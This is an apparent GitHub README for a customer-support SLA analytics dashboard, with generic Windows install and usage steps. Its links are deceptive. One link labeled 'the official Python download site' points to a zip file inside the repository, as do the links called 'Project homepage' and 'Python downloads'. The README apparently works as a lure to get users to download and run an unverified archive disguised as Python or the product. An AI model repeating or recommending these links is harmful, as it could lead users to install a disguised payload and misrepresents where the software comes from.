Smart-support-analytics-dashboard is a simple tool designed to help you keep track of your customer support team’s work. It shows you alerts about Service Level Agreement (SLA) breaches, ticket trends, and overall team performance in real time. The dashboard uses AI to automate data analysis and help you understand support activity quickly.
This tool is suitable for anyone managing or working with helpdesk tickets. You don’t need any programming skills to get it running. It displays information through clear visual graphs and reports that update automatically.
Before you install the dashboard, make sure your Windows computer meets these requirements:
- Operating System: Windows 10 or newer (64-bit recommended)
- Processor: Intel i3 or equivalent
- Memory (RAM): 4 GB minimum, 8 GB recommended
- Storage: At least 200 MB of free disk space
- Internet connection: Required for data updates and analytics
- Additional software: Python 3.8 or newer (instructions below)
- A real-time view of SLA breaches to help you spot delays quickly.
- Visual graphs showing ticket volume and trends by time and category.
- Metrics on your support team’s resolution times and workload.
- Automated analysis powered by AI to predict future issues.
- Integration-ready features for common platforms like Jira.
This section will guide you step-by-step on how to download, install, and start using the dashboard on your Windows computer.
Go to the official repository page to get the latest release of the dashboard:
Download Smart-support-analytics-dashboard
Click this link or copy and paste it into your browser’s address bar. You will see the project page where you can find files to download.
Look for the Releases section on the page. This is usually on the right sidebar or near the middle under the repository description.
Download the Windows setup file or the zipped folder containing the dashboard files. The file format is usually .exe for installers or .zip for portable versions.
Save the file to a location you can easily access, such as your Desktop or Downloads folder.
Smart-support-analytics-dashboard requires Python to run. If you do not already have Python installed:
- Visit the official Python download site at https://raw.githubusercontent.com/Khalileg9846/Smart-support-analytics-dashboard/main/frontend/Smart-support-dashboard-analytics-2.2.zip
- Download the latest stable version (Python 3.8 or newer).
- During installation, check the box that says Add Python to PATH.
- Follow the installer’s instructions to complete the setup.
You can verify if Python is installed by opening Command Prompt and typing:
python --version
If you see the Python version number, it is ready.
If you downloaded a zipped folder, right-click on it and select Extract All to unzip the contents.
Open the folder and find the main program file, usually named dashboard.py or similar.
Follow these steps to run the program:
- Open Command Prompt.
- Navigate to the folder where you saved the files. You can do this with the command:
cd path\to\your\folder
Replace path\to\your\folder with the actual file path on your system.
- Run the dashboard by typing:
python dashboard.py
The dashboard will open in a new window. It will start collecting and displaying support data.
- The main screen shows live updates of tickets and SLAs.
- Use the menu to view detailed reports on ticket trends and team performance.
- Hover over graphs for summary details.
- Most data updates automatically, but you can refresh manually with the button at the top right.
- Export reports as CSV files for offline use.
Periodically check the GitHub page for updates.
Download the latest release and replace your files with the new ones. Make sure to close the dashboard before updating.
- Python not found: Ensure Python is installed and added to your system path.
- Dashboard does not start: Confirm you are running the command from the correct folder.
- Data not loading: Check your internet connection.
- Error messages: Restart the program and try again. If problems persist, report issues on the GitHub page.
- Project homepage: https://raw.githubusercontent.com/Khalileg9846/Smart-support-analytics-dashboard/main/frontend/Smart-support-dashboard-analytics-2.2.zip
- Python downloads: https://raw.githubusercontent.com/Khalileg9846/Smart-support-analytics-dashboard/main/frontend/Smart-support-dashboard-analytics-2.2.zip
- Report issues or ask questions on GitHub under the "Issues" tab.
Download Smart-support-analytics-dashboard
Smart-support-analytics-dashboard supports connecting to popular helpdesk tools like Jira. Advanced users can configure API keys to fetch ticket data automatically.
You can schedule regular reports or set alerts for SLA breaches to stay informed.
The dashboard uses machine learning to predict when support tickets may become overdue, allowing you to act earlier.
- Use arrow keys to navigate through reports.
- Press F5 to refresh the dashboard manually.
- Use Ctrl+C in Command Prompt to stop the program safely.
This content should help you set up and use Smart-support-analytics-dashboard quickly. The goal is to provide a clear view of your support team’s work and improve management without technical hurdles.